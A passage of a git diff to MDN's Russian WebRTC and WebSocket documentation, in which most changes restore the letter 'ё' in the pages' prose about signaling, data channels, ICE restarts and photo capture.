<li>Каждый узел устанавливает обработчик события {{event("addstream")}}, которое срабатывает когда начинает приходить поток данных от удалённого узла. Этот обработчик должен подключить этот поток к потребителю, например к элементу {{HTMLElement("video")}}.</li> + <li>Вызывающий узел создаёт уникальный идентификатор, токен или нечто, что сможет идентифицировать вызов на сигнальном сервере, и обмениваться с принимающим узлом. Форма и содержимое идентификатора остаётся на усмотрение разработчика.</li> <li>Каждый узел подключается к согласованному сигнальному серверу, такому например как известный обоим WebSocket-сервер, для обмена сообщениями.</li> - <li>Каждый узел сообщает сигнальному серверу, что хочет подключиться к одной и той же WebRTC-сессии (идентифицируемой токеном, определенным на шаге 4)</li> + <li>Каждый узел сообщает сигнальному серверу, что хочет подключиться к одной и той же WebRTC-сессии (идентифицируемой токеном, определённым на шаге 4)</li> <li><strong><em>descriptions, candidates, etc. -- more coming up</em></strong></li> </ol> <h2 id="Перезапуск_сессии_ICE_агент"><strong>Перезапуск сессии ICE агент</strong></h2> -<p>Иногда, во время срока службы WebRTC сессии, сетевые условия изменяются. Один из пользователей, возможно, перейдет от сотовой сети к сети WiFi или сеть может стать перегруженной. Например: когда это произойдет, ICE агент может перезапустить сессию. Это процесс, с помощью которого сетевое соединение перезапустится и восстановится, точно таким же образом выполняется начальная установка сессии, за одним исключением того пока не установится новая сессия. Тогда сессия сменяется и переходит к новому сетевому соединению, а старое соединение закрывается.</p> +<p>Иногда, во время срока службы WebRTC сессии, сетевые условия изменяются. Один из пользователей, возможно, перейдёт от сотовой сети к сети WiFi или сеть может стать перегруженной. Например: когда это произойдёт, ICE агент может перезапустить сессию. Это процесс, с помощью которого сетевое соединение перезапустится и восстановится, точно таким же образом выполняется начальная установка сессии, за одним исключением того пока не установится новая сессия. Тогда сессия сменяется и переходит к новому сетевому соединению, а старое соединение закрывается.</p> <div class="note"> <p>Различные браузеры поддерживают перезапуск сессии при разных условиях. Не все браузеры будут выполнять перезапуск сессии из-за перегрузки сети, например:</p> @@ -77,7 +77,7 @@ translation_of: Web/API/WebRTC_API/Session_lifetime <p>Есть два уровня перезапуска сессии: полная перезагрузка сессии вызывает все мультимедийные потоки в сеансе и должны быть пересмотрены. Частичная перезагрузка сессии позволяет агенту сессии перезапустить конкретный медиапоток вместо того, чтобы перезапускать все медиаданные. Некоторые браузеры пока не поддерживают частичную перезагрузку сессии, однако. <<< Все зависит от вашего кодерства... >>></p> -<p>Если вам необходимо изменить конфигурацию соединения каким-либо образом (например, изменение к другому набору связи), вы можете сделать это перед <code><a href="https://developer.mozilla.org/ru/docs/Web/API/RTCPeerConnection/setConfiguration" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!">RTCPeerConnection.setConfiguration()</a>(перед назначением конфигурации)</code> с обновленной <code><a href="https://developer.mozilla.org/ru/docs/Web/API/RTCConfiguration" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!">RTCConfiguration</a>(конфигурацией)</code> перед повторным запуском движка.</p> +<p>Если вам необходимо изменить конфигурацию соединения каким-либо образом (например, изменение к другому набору связи), вы можете сделать это перед <code><a href="https://developer.mozilla.org/ru/docs/Web/API/RTCPeerConnection/setConfiguration" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!">RTCPeerConnection.setConfiguration()</a>(перед назначением конфигурации)</code> с обновлённой <code><a href="https://developer.mozilla.org/ru/docs/Web/API/RTCConfiguration" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!">RTCConfiguration</a>(конфигурацией)</code> перед повторным запуском движка.</p> <p>Чтобы явно вызвать перезапуск сессии, нужно начать переговорный процесс с помощью вызова <code><a href="https://developer.mozilla.org/ru/docs/Web/API/RTCPeerConnection/createOffer" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!">RTCPeerConnection.createOffer()</a>,</code> указав параметр iceRestart(перезапуск сессии) со значением истины(true). Затем обработать процесс соединения так, как вы это обычно делаете.</p> diff --git a/files/ru/web/api/webrtc_api/signaling_and_video_calling/index.html b/files/ru/web/api/webrtc_api/signaling_and_video_calling/index.html index 844c8e0d19..73db097039 100644 --- a/files/ru/web/api/webrtc_api/signaling_and_video_calling/index.html +++ b/files/ru/web/api/webrtc_api/signaling_and_video_calling/index.html @@ -5,9 +5,9 @@ translation_of: Web/API/WebRTC_API/Signaling_and_video_calling --- <div>{{WebRTCSidebar}}</div> -<p><span class="seoSummary"><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> позволяет обмениваться медиаданными между двумя устройствами напрямую (peer-to-peer) в режиме реального времени. Соединение устанавливается путем обнаружения и согласования, называемым <strong>сигнализацией (signaling)</strong>. Эта статья объясняет, как сделать двусторонний видеозвонок.</span></p> +<p><span class="seoSummary"><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> позволяет обмениваться медиаданными между двумя устройствами напрямую (peer-to-peer) в режиме реального времени. Соединение устанавливается путём обнаружения и согласования, называемым <strong>сигнализацией (signaling)</strong>. Эта статья объясняет, как сделать двусторонний видеозвонок.</span></p> -<p><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> это технология прямого обмена аудио-, видео- и другими данными в режиме реального времени с одним ключевым условием. Процесс обнаружения и согласования медиаформатов должен происходить так чтобы два устройства, подключенные к разным сетям, могли локализовать друг друга, <a href="/en-US/docs/Web/API/WebRTC_API/Session_lifetime#Establishing_a_connection">как обсуждалось здесь</a>. Этот процесс назван <span class="seoSummary"><strong>сигнализацией </strong></span>и подразумевает, что оба устройства подключаются к третьему, обоюдно согласованному серверу. Через третью сторону устройства определяют адреса друг друга и обмениваются согласующими сообщениями.</p> +<p><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> это технология прямого обмена аудио-, видео- и другими данными в режиме реального времени с одним ключевым условием. Процесс обнаружения и согласования медиаформатов должен происходить так чтобы два устройства, подключённые к разным сетям, могли локализовать друг друга, <a href="/en-US/docs/Web/API/WebRTC_API/Session_lifetime#Establishing_a_connection">как обсуждалось здесь</a>. Этот процесс назван <span class="seoSummary"><strong>сигнализацией </strong></span>и подразумевает, что оба устройства подключаются к третьему, обоюдно согласованному серверу. Через третью сторону устройства определяют адреса друг друга и обмениваются согласующими сообщениями.</p> <p>В этой статье мы будем дорабатывать <a class="external external-icon" href="https://webrtc-from-chat.glitch.me/" rel="noopener">WebSocket-чат</a>, созданный для нашей документации к WebSocket, — добавим к нему двусторонний видеозвонок между двумя пользователями. Вы можете <a href="https://webrtc-from-chat.glitch.me/">использовать этот пример на Glitch</a> или <a href="https://glitch.com/edit/#!/remix/webrtc-from-chat">клонировать его</a>, чтобы поэкспериментировать самим. <a href="https://github.com/mdn/samples-server/tree/master/s/webrtc-from-chat">Весь проект</a> можно посмотреть на GitHub.</p> @@ -21,13 +21,13 @@ translation_of: Web/API/WebRTC_API/Signaling_and_video_calling <p>Во-первых, нужен сам сервер сигнализации. Спецификация WebRTC не определяет, какой транспорт используется для передачи сигнальной информации. Можете использовать какой вам нравится, от <a href="/en-US/docs/Web/API/WebSocket_API">WebSocket</a> до {{domxref("XMLHttpRequest")}} и почтовых голубей, чтобы передать сигнальную информацию между пирами.</p> -<p>Важно, что серверу не нужно понимать или интерпретировать сигнальные данные. Хотя они в формате {{Glossary("SDP")}}, это не имеет особого значения: содержание сообщений, проходящих через сигнальный сервер - по сути, черный ящик. Значение имеет лишь то, что когда подсистема {{Glossary("ICE")}} дает команду передать данные другому пиру, вы просто это делаете, а уже пир знает, как получить эту информацию и доставить ее на свою подсистему ICE. Все что нужно - передавать сообщения туда и обратно. Содержание совершенно не важно для сигнального сервера.</p> +<p>Важно, что серверу не нужно понимать или интерпретировать сигнальные данные. Хотя они в формате {{Glossary("SDP")}}, это не имеет особого значения: содержание сообщений, проходящих через сигнальный сервер - по сути, чёрный ящик. Значение имеет лишь то, что когда подсистема {{Glossary("ICE")}} даёт команду передать данные другому пиру, вы просто это делаете, а уже пир знает, как получить эту информацию и доставить её на свою подсистему ICE. Все что нужно - передавать сообщения туда и обратно. Содержание совершенно не важно для сигнального сервера.</p> <h3 id="Подготовка_сервера_чата_к_сигнализации">Подготовка сервера чата к сигнализации</h3> -<p>Наш <a href="https://github.com/mdn/samples-server/tree/master/s/websocket-chat">сервер чата</a> использует <a href="/en-US/docs/Web/API/WebSocket_API">WebSocket API</a> для отправки информации как {{Glossary("JSON")}} между каждым клиентом и сервером. Сервер поддерживает несколько типов сообщений для нескольких задач : регистрация нового пользователя, установки имен пользователей, отправка сообщений чата.</p> +<p>Наш <a href="https://github.com/mdn/samples-server/tree/master/s/websocket-chat">сервер чата</a> использует <a href="/en-US/docs/Web/API/WebSocket_API">WebSocket API</a> для отправки информации как {{Glossary("JSON")}} между каждым клиентом и сервером. Сервер поддерживает несколько типов сообщений для нескольких задач : регистрация нового пользователя, установки имён пользователей, отправка сообщений чата.</p> -<p>Для того, что бы сервер мог поддерживать функциональность сигнализации и согласование соединения, нам нужно обновить код. Нам нужно направлять сообщения одному конкретному пользователю вместо того, чтобы транслировать их всем подключенным пользователям, а также обеспечить передачу и доставку неизвестных типов сообщений, при этом серверу не нужно будет знать, что это такое. Это позволит нам посылать сигнальные сообщения, используя один и тот же сервер, вместо того, чтобы использовать отдельный сервер.</p> +<p>Для того, что бы сервер мог поддерживать функциональность сигнализации и согласование соединения, нам нужно обновить код. Нам нужно направлять сообщения одному конкретному пользователю вместо того, чтобы транслировать их всем подключённым пользователям, а также обеспечить передачу и доставку неизвестных типов сообщений, при этом серверу не нужно будет знать, что это такое. Это позволит нам посылать сигнальные сообщения, используя один и тот же сервер, вместо того, чтобы использовать отдельный сервер.</p> <p>Let's take a look which changes we need to make to the chat server support WebRTC signaling. This is in the file <a href="https://github.com/mdn/samples-server/tree/master/s/webrtc-from-chat/chatserver.js">chatserver.js</a>.</p> diff --git a/files/ru/web/api/webrtc_api/simple_rtcdatachannel_sample/index.html b/files/ru/web/api/webrtc_api/simple_rtcdatachannel_sample/index.html index 4d02e4d5d4..8ed6944d59 100644 --- a/files/ru/web/api/webrtc_api/simple_rtcdatachannel_sample/index.html +++ b/files/ru/web/api/webrtc_api/simple_rtcdatachannel_sample/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/WebRTC_API/Simple_RTCDataChannel_sample <p>Интерфейс {{domxref("RTCDataChannel")}} является функциональностью <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a> , который позволяет открыть канал между узлами соединения, по которому можно отправлять и получать произвольные данные. Эти API намеренно сходны с <a href="/en-US/docs/Web/API/WebSocket_API">WebSocket API</a>, для использования единой программной модели.</p> -<p>В этом примере мы откроем соединение {{domxref ("RTCDataChannel")}}, связывающее два элемента на одной странице. Хотя это явно надуманный сценарий, он полезен для демонстрации последовательности соединения двух узлов. Мы расскажем о механизме выполнения соединения, передачи и получения данных, но оставим немного информации о поиске и подключении к удаленному компьютеру для другого примера.</p> +<p>В этом примере мы откроем соединение {{domxref ("RTCDataChannel")}}, связывающее два элемента на одной странице. Хотя это явно надуманный сценарий, он полезен для демонстрации последовательности соединения двух узлов. Мы расскажем о механизме выполнения соединения, передачи и получения данных, но оставим немного информации о поиске и подключении к удалённому компьютеру для другого примера.</p> <h2 id="Разметка_HTML">Разметка HTML</h2> diff --git a/files/ru/web/api/webrtc_api/taking_still_photos/index.html b/files/ru/web/api/webrtc_api/taking_still_photos/index.html index a15d916a7e..c690fafe2a 100644 --- a/files/ru/web/api/webrtc_api/taking_still_photos/index.html +++ b/files/ru/web/api/webrtc_api/taking_still_photos/index.html @@ -40,11 +40,11 @@ translation_of: Web/API/WebRTC_API/Taking_still_photos <h2 id="Код_JavaScript">Код JavaScript</h2> -<p>Посмотрим на <a href="https://github.com/mdn/samples-server/tree/master/s/webrtc-capturestill/capture.js" rel="noopener">JavaScript code</a>. Разобьем его на части, для упрощения объяснения.</p> +<p>Посмотрим на <a href="https://github.com/mdn/samples-server/tree/master/s/webrtc-capturestill/capture.js" rel="noopener">JavaScript code</a>. Разобьём его на части, для упрощения объяснения.</p> <h3 id="Инициализация">Инициализация</h3> -<p>Начнем с обертки всего скрипта в анонимную функцию, во избежании конфликтов глобальных переменных, затем инициализируем различные нужные переменные.</p> +<p>Начнём с обёртки всего скрипта в анонимную функцию, во избежании конфликтов глобальных переменных, затем инициализируем различные нужные переменные.</p> <pre>(function() { var width = 320; // Этим создадим ширину фотографии @@ -106,7 +106,7 @@ translation_of: Web/API/WebRTC_API/Taking_still_photos <p>Здесь мы называем метод {{domxref("MediaDevices.getUserMedia()")}} , запрашивая медиапоток без аудиопотока (<code>audio : false</code>). Он возвращает промис, на котором мы определяем методы успешного и не успешного выполнений.</p> -<p>Успешное выполнение промиса передает объект потока( <code>stream</code> ) в качестве параметра функции метода <code>then()</code>., который присваивается свойству <code>srcObject</code> элемента {{HTMLElement("video")}}, направляя поток в него.</p> +<p>Успешное выполнение промиса передаёт объект потока( <code>stream</code> ) в качестве параметра функции метода <code>then()</code>., который присваивается свойству <code>srcObject</code> элемента {{HTMLElement("video")}}, направляя поток в него.</p> <p>Как только поток связан с элементом <code><video></code> , запускаем его воспроизведение, вызовом метода <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement#play">HTMLMediaElement.play()</a></code>.</p> @@ -114,7 +114,7 @@ translation_of: Web/API/WebRTC_API/Taking_still_photos <h4 id="Обработка_события_начала_воспроизведения">Обработка события начала воспроизведения</h4> -<p>После момента вызова метода <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement#play">HTMLMediaElement.play()</a></code> на элементе {{HTMLElement("video")}}, возникает промежуток времени до начала воспроизведения видеопотока. Для недопущения блокирования интерфейса пользователя в это промежуток, нужно установить обработчик события {{event("canplay")}} элемента <code>video</code> , который сработает, когда элемент начнет воспроизведение видеопотока. В этот момент все свойства элемента <code>video</code> конфигурируются на основе формата потока.</p> +<p>После момента вызова метода <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement#play">HTMLMediaElement.play()</a></code> на элементе {{HTMLElement("video")}}, возникает промежуток времени до начала воспроизведения видеопотока. Для недопущения блокирования интерфейса пользователя в это промежуток, нужно установить обработчик события {{event("canplay")}} элемента <code>video</code> , который сработает, когда элемент начнёт воспроизведение видеопотока. В этот момент все свойства элемента <code>video</code> конфигурируются на основе формата потока.</p> <pre> video.addEventListener('canplay', function(ev){ if (!streaming) { @@ -147,7 +147,7 @@ translation_of: Web/API/WebRTC_API/Taking_still_photos <h4 id="Завершение_метода_startup">Завершение метода startup() </h4> -<p>Еще пара строк кода в методе <code>startup()</code>:</p> +<p>Ещё пара строк кода в методе <code>startup()</code>:</p> <pre> clearphoto(); }</pre> @@ -167,7 +167,7 @@ translation_of: Web/API/WebRTC_API/Taking_still_photos photo.setAttribute('src', data); }</pre> -<p>Начнем с получения ссылки на скрытый элемент {{HTMLElement ("canvas")}}, который мы используем для рендеринга за пределами экрана. Затем мы устанавливаем свойство <code>fillStyle</code> в <code>#AAA</code> ( светло-серый) и заполняем весь холст этим цветом, вызывая метод {{domxref("CanvasRenderingContext2D.fillRect()","fillRect()")}}.</p> +<p>Начнём с получения ссылки на скрытый элемент {{HTMLElement ("canvas")}}, который мы используем для рендеринга за пределами экрана. Затем мы устанавливаем свойство <code>fillStyle</code> в <code>#AAA</code> ( светло-серый) и заполняем весь холст этим цветом, вызывая метод {{domxref("CanvasRenderingContext2D.fillRect()","fillRect()")}}.</p> <p>Наконец, в этой функции мы конвертируем <code>canvas</code> в изображение PNG и вызываем метод <code>{{domxref("Element.setAttribute", "photo.setAttribute()")}}</code> отображая захваченный цветовой фон в элементе изображения (бокса для фотографии).</p> @@ -207,9 +207,9 @@ translation_of: Web/API/WebRTC_API/Taking_still_photos <p>Вы можете экспериментировать с этими эффектами, используя, например, инструмент разработчика FirefoxYou <a href="https://wiki.developer.mozilla.org/en-US/docs/Tools/Style_Editor">редактор стилей</a>; смотрим <a href="https://wiki.developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Edit_CSS_filters">Редактирование с CSS фильтрами</a> о подробностях выполнения.</p> -<h2 id="Использование_определенных_устройств">Использование определенных устройств</h2> +<h2 id="Использование_определённых_устройств">Использование определённых устройств</h2> -<p>При необходимости вы можете ограничить набор разрешенных источников видео, определенным устройством или набором устройств. Для этого нужно вызвать метод {{domxref("navigator.mediaDevices.enumerateDevices()")}}. Когда промис разрешиться массивом объектов {{domxref("MediaDeviceInfo")}} , описывающих доступные устройства , выберите те, которым хотите разрешить доступ и укажите соответствующий идентификатор устройства {{domxref("MediaTrackConstraints.deviceId", "deviceId")}} или несколько <code>deviceId</code> в объекте {{domxref("MediaTrackConstraints")}} , переданном в {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}.</p> +<p>При необходимости вы можете ограничить набор разрешённых источников видео, определённым устройством или набором устройств. Для этого нужно вызвать метод {{domxref("navigator.mediaDevices.enumerateDevices()")}}. Когда промис разрешиться массивом объектов {{domxref("MediaDeviceInfo")}} , описывающих доступные устройства , выберите те, которым хотите разрешить доступ и укажите соответствующий идентификатор устройства {{domxref("MediaTrackConstraints.deviceId", "deviceId")}} или несколько <code>deviceId</code> в объекте {{domxref("MediaTrackConstraints")}} , переданном в {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}.</p> <h2 id="Смотри_так_же">Смотри так же</h2> diff --git a/files/ru/web/api/webrtc_api/using_data_channels/index.html b/files/ru/web/api/webrtc_api/using_data_channels/index.html index cbb64c54bb..1c2e5b2521 100644 --- a/files/ru/web/api/webrtc_api/using_data_channels/index.html +++ b/files/ru/web/api/webrtc_api/using_data_channels/index.html @@ -16,15 +16,15 @@ translation_of: Web/API/WebRTC_API/Using_data_channels <p>Основной транспорт передачи данных, использующийся объектом типа {{domxref("RTCDataChannel")}} может быть создан двумя способами:</p> <ul> - <li>Позволить WebRTC создать транспорт и сообщить об этом удаленному узлу (вызвав у него событие типа {{event("datachannel")}} ). Это простой способ, и он подходит для многих случаев, но не достаточно гибок для широких нужд.</li> + <li>Позволить WebRTC создать транспорт и сообщить об этом удалённому узлу (вызвав у него событие типа {{event("datachannel")}} ). Это простой способ, и он подходит для многих случаев, но не достаточно гибок для широких нужд.</li> <li>Написать свои скрипты по согласованию транспорта данных, и сигнализированию другому узлу о необходимости присоединения к новому каналу данных.</li> </ul> -<p>Разберем оба случая, начиная с первого, как с наиболее распространенного.</p> +<p>Разберём оба случая, начиная с первого, как с наиболее распространенного.</p> <h3 id="Автоматический_режим_согласования">Автоматический режим согласования</h3> -<p>Зачастую, разработчик может позволить объекту соединения обработать согласование {{domxref("RTCDataChannel")}} соединения за него. Для этого нужно вызвать метод {{domxref("RTCPeerConnection.createDataChannel", "createDataChannel()")}} без определения значения свойства {{domxref("RTCDataChannelInit.negotiated", "negotiated")}}, или определить свойство значением <code>false</code>. Это автоматически активирует <code>RTCPeerConnection</code> на обработку согласования соединения за разработчика, вызывая событие создание канала данных у удаленного узла, связывая два узла вместе по сети.</p> +<p>Зачастую, разработчик может позволить объекту соединения обработать согласование {{domxref("RTCDataChannel")}} соединения за него. Для этого нужно вызвать метод {{domxref("RTCPeerConnection.createDataChannel", "createDataChannel()")}} без определения значения свойства {{domxref("RTCDataChannelInit.negotiated", "negotiated")}}, или определить свойство значением <code>false</code>. Это автоматически активирует <code>RTCPeerConnection</code> на обработку согласования соединения за разработчика, вызывая событие создание канала данных у удалённого узла, связывая два узла вместе по сети.</p> <p>Вызов метода <code>createDataChannel()</code> немедленно возвращает объект типа <code>RTCDataChannel</code>. Подписываясь на событие {{domxref("RTCDataChannel.open_event", "open")}} , можно будет точно определить когда соединение успешно откроется.</p> @@ -39,7 +39,7 @@ dataChannel.addEventListener("open", (event) => { <p>Для ручного согласования соединения, сначала необходимо создать новый объект типа {{domxref("RTCDataChannel")}}, используя метод {{domxref("RTCPeerConnection.createDataChannel", "createDataChannel()")}} объекта {{domxref("RTCPeerConnection")}}, определяя свойство {{domxref("RTCDataChannelInit.negotiated", "negotiated")}} в значение <code>true</code>. Это сигнализирует объекту соединения не пытаться согласовать соединение автоматически.</p> -<p>Затем нужно согласовать соединение, используя веб сервер или иные средства коммуникации. Этот процесс должен сигнализировать удаленному узлу, что нужно создать собственный объект типа <code>RTCDataChannel</code> со свойством <code>negotiated</code>, установленным в значение <code>true</code>, используя тот же идентификатор канала {{domxref("RTCDataChannel.id", "id")}}. Это свяжет два объекта типа <code>RTCDataChannel </code>через объект типа <code>RTCPeerConnection</code>.</p> +<p>Затем нужно согласовать соединение, используя веб сервер или иные средства коммуникации. Этот процесс должен сигнализировать удалённому узлу, что нужно создать собственный объект типа <code>RTCDataChannel</code> со свойством <code>negotiated</code>, установленным в значение <code>true</code>, используя тот же идентификатор канала {{domxref("RTCDataChannel.id", "id")}}. Это свяжет два объекта типа <code>RTCDataChannel </code>через объект типа <code>RTCPeerConnection</code>.</p> <pre class="brush: js">let dataChannel = pc.createDataChannel("MyApp Channel", { negotiated: true @@ -51,7 +51,7 @@ dataChannel.addEventListener("open", (event) => { requestRemoteChannel(dataChannel.id);</pre> -<p>В данном примере канал создается установкой значения свойства <code>negotiated</code> в <code>true</code>, затем вызывается функция <code>requestRemoteChannel()</code> , запуская согласование соединения для создания удаленного канала с тем же идентификатором как у локального канала. Таким образом создание каналов данных позволяет использовать различные свойства, создавая их декларативно, используя одно и тоже значение идентификатора канала <code>id</code>.</p> +<p>В данном примере канал создаётся установкой значения свойства <code>negotiated</code> в <code>true</code>, затем вызывается функция <code>requestRemoteChannel()</code> , запуская согласование соединения для создания удалённого канала с тем же идентификатором как у локального канала. Таким образом создание каналов данных позволяет использовать различные свойства, создавая их декларативно, используя одно и тоже значение идентификатора канала <code>id</code>.</p> <h2 id="Буферизация">Буферизация</h2> @@ -63,11 +63,11 @@ requestRemoteChannel(dataChannel.id);</pre> <h2 id="Ограничения_размеров_сообщений">Ограничения размеров сообщений</h2> -<p>Для любых данных, передаваемых по сети, существуют ограничения по размеру. На фундаментальном уровне отдельные сетевые пакеты не могут быть больше определенного значения (точное число зависит от сети и используемого транспортного уровня). На уровне приложения, то есть в пределах {{Glossary("user agent", "user agent's")}} реализация WebRTC, в которой работает ваш код, реализует функции поддержки сообщений, размер которых превышает максимальный размер пакета на транспортном уровне сети.</p> +<p>Для любых данных, передаваемых по сети, существуют ограничения по размеру. На фундаментальном уровне отдельные сетевые пакеты не могут быть больше определённого значения (точное число зависит от сети и используемого транспортного уровня). На уровне приложения, то есть в пределах {{Glossary("user agent", "user agent's")}} реализация WebRTC, в которой работает ваш код, реализует функции поддержки сообщений, размер которых превышает максимальный размер пакета на транспортном уровне сети.</p> -<p>Это может усложнить ситуацию, поскольку вы не знаете, каковы ограничения по размеру для различных пользовательских агентов и как они реагируют на отправку или получение сообщения большего размера. Даже когда пользовательские агенты совместно используют одну и ту же базовую библиотеку для обработки данных протокола управления потоком (SCTP), могут существовать различия в зависимости от того, как используется библиотека. Например, и Firefox, и Google Chrome используют библиотеку <code>usrsctp</code> для реализации SCTP, но все еще существуют ситуации, в которых передача данных по <code>RTCDataChannel</code> каналу может завершиться сбоем из-за различий в том, как они вызывают библиотеку и обрабатывают ошибки, которые она возвращает.</p> +<p>Это может усложнить ситуацию, поскольку вы не знаете, каковы ограничения по размеру для различных пользовательских агентов и как они реагируют на отправку или получение сообщения большего размера. Даже когда пользовательские агенты совместно используют одну и ту же базовую библиотеку для обработки данных протокола управления потоком (SCTP), могут существовать различия в зависимости от того, как используется библиотека. Например, и Firefox, и Google Chrome используют библиотеку <code>usrsctp</code> для реализации SCTP, но все ещё существуют ситуации, в которых передача данных по <code>RTCDataChannel</code> каналу может завершиться сбоем из-за различий в том, как они вызывают библиотеку и обрабатывают ошибки, которые она возвращает.</p> -<p>Когда два пользователя, использующие Firefox, обмениваются данными по каналу данных, ограничение размера сообщения намного больше, чем когда Firefox и Chrome обмениваются данными, потому что Firefox реализует устаревшую технику для отправки больших сообщений в нескольких сообщениях SCTP, чего нет в Chrome. Вместо этого Chrome увидит серию сообщений, которые он считает завершенными, и доставит их получающему <code>RTCDataChannel</code> каналу в виде нескольких сообщений</p> +<p>Когда два пользователя, использующие Firefox, обмениваются данными по каналу данных, ограничение размера сообщения намного больше, чем когда Firefox и Chrome обмениваются данными, потому что Firefox реализует устаревшую технику для отправки больших сообщений в нескольких сообщениях SCTP, чего нет в Chrome. Вместо этого Chrome увидит серию сообщений, которые он считает завершёнными, и доставит их получающему <code>RTCDataChannel</code> каналу в виде нескольких сообщений</p> <p>Сообщения размером менее 16 КБ могут отправляться без проблем, поскольку все основные пользовательские агенты обрабатывают их одинаково.</p> @@ -77,9 +77,9 @@ requestRemoteChannel(dataChannel.id);</pre> <p>В конечном итоге это стало проблемой. Со временем различные приложения (в том числе внедряющие WebRTC) начали использовать SCTP для передачи больших и больших сообщений. В конце концов стало ясно, что когда сообщения становятся слишком большими, передача большого сообщения может блокировать все другие передачи данных в этом канале данных, включая критические сообщения сигнализации.</p> -<p>Это станет проблемой, когда браузеры будут должным образом поддерживать текущий стандарт поддержки больших сообщений - флаг конца записи (EOR), который указывает, когда сообщение является последним в серии, которое следует рассматривать как одну полезную нагрузку. Это реализовано в Firefox 57, но еще не реализовано в Chrome (см. <a href="https://bugs.chromium.org/p/webrtc/issues/detail?id=7774">Chromium Bug 7774</a>). С поддержкой EOR полезная нагрузка <code>RTCDataChannel</code> может быть намного больше (официально до 256 КБ, но реализация Firefox ограничивает их колоссальным 1 ГБ). Даже при 256 кБ этого достаточно, чтобы вызвать заметные задержки при обработке срочного трафика.</p> +<p>Это станет проблемой, когда браузеры будут должным образом поддерживать текущий стандарт поддержки больших сообщений - флаг конца записи (EOR), который указывает, когда сообщение является последним в серии, которое следует рассматривать как одну полезную нагрузку. Это реализовано в Firefox 57, но ещё не реализовано в Chrome (см. <a href="https://bugs.chromium.org/p/webrtc/issues/detail?id=7774">Chromium Bug 7774</a>). С поддержкой EOR полезная нагрузка <code>RTCDataChannel</code> может быть намного больше (официально до 256 КБ, но реализация Firefox ограничивает их колоссальным 1 ГБ). Даже при 256 кБ этого достаточно, чтобы вызвать заметные задержки при обработке срочного трафика.</p> -<p>Чтобы решить эту проблему, была разработана новая система планировщиков потоков (обычно называемая «спецификацией данных SCTP»), позволяющая чередовать сообщения, отправленные в разных потоках, включая потоки, используемые для реализации каналов данных WebRTC. Это предложение <a href="https://tools.ietf.org/html/draft-ietf-tsvwg-sctp-ndata">предложение</a> все еще находится в черновой форме IETF, но после его реализации оно позволит отправлять сообщения практически без ограничений по размеру, поскольку уровень SCTP автоматически чередует лежащие в основе под-сообщения, чтобы обеспечить возможность получения данных каждого канала.</p> +<p>Чтобы решить эту проблему, была разработана новая система планировщиков потоков (обычно называемая «спецификацией данных SCTP»), позволяющая чередовать сообщения, отправленные в разных потоках, включая потоки, используемые для реализации каналов данных WebRTC. Это предложение <a href="https://tools.ietf.org/html/draft-ietf-tsvwg-sctp-ndata">предложение</a> все ещё находится в черновой форме IETF, но после его реализации оно позволит отправлять сообщения практически без ограничений по размеру, поскольку уровень SCTP автоматически чередует лежащие в основе под-сообщения, чтобы обеспечить возможность получения данных каждого канала.</p> <p>Поддержка Firefox для ndata находится в процессе реализации. <span style="font-size: 1rem; letter-spacing: -0.00278rem;">Команда Chrome отслеживает реализацию поддержки ndata в</span><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> </span><a href="https://bugs.chromium.org/p/webrtc/issues/detail?id=5696" style="font-size: 1rem; letter-spacing: -0.00278rem;">Chrome Bug 5696</a><span style="font-size: 1rem; letter-spacing: -0.00278rem;">.</span></p> diff --git a/files/ru/web/api/websocket/index.html b/files/ru/web/api/websocket/index.html index 2d53a55c5c..4cc3326a7f 100644 --- a/files/ru/web/api/websocket/index.html +++ b/files/ru/web/api/websocket/index.html @@ -69,7 +69,7 @@ WebSocket WebSocket( <tr> <td><code>bufferedAmount</code></td> <td><code><a href="/en/unsigned_long" title="en/unsigned long">unsigned long</a></code></td> - <td>Количество байтов данных, которые были поставлены в очередь, используя вызовы {{ manch("send") }}, но еще не переданные в сеть. Это значение не сбрасывается в ноль, при закрытии соединения; если продолжить вызывать {{ manch("send") }}, значение будет расти. <strong>Только чтение.</strong></td> + <td>Количество байтов данных, которые были поставлены в очередь, используя вызовы {{ manch("send") }}, но ещё не переданные в сеть. Это значение не сбрасывается в ноль, при закрытии соединения; если продолжить вызывать {{ manch("send") }}, значение будет расти. <strong>Только чтение.</strong></td> </tr> <tr> <td><code>extensions</code></td> @@ -178,7 +178,7 @@ WebSocket WebSocket( <dl> <dt><code>code</code> {{ optional_inline() }}</dt> - <dd>Числовое значение, обозначающее статус-код, описывающий почему подключение будет закрыто. Если параметр не указан, значение по умолчанию равно 1000(обозначает "обмен завершен"). Смотрите <a href="/en/WebSockets/WebSockets_reference/CloseEvent#Status_codes" title="en/WebSockets/WebSockets reference/CloseEvent#Status codes">list of status codes</a> для <code><a href="/en/WebSockets/WebSockets_reference/CloseEvent" title="en/WebSockets/WebSockets reference/CloseEvent">CloseEvent</a></code>, чтобы узнать разрешенные значения.</dd> + <dd>Числовое значение, обозначающее статус-код, описывающий почему подключение будет закрыто. Если параметр не указан, значение по умолчанию равно 1000(обозначает "обмен завершён"). Смотрите <a href="/en/WebSockets/WebSockets_reference/CloseEvent#Status_codes" title="en/WebSockets/WebSockets reference/CloseEvent#Status codes">list of status codes</a> для <code><a href="/en/WebSockets/WebSockets_reference/CloseEvent" title="en/WebSockets/WebSockets reference/CloseEvent">CloseEvent</a></code>, чтобы узнать разрешённые значения.</dd> <dt><code>reason</code> {{ optional_inline() }}</dt> <dd>Читаемая человеком строка, объясняющая, почему подключение закрывается. Строка должна быть не длиннее, чем 123 байта UTF-8 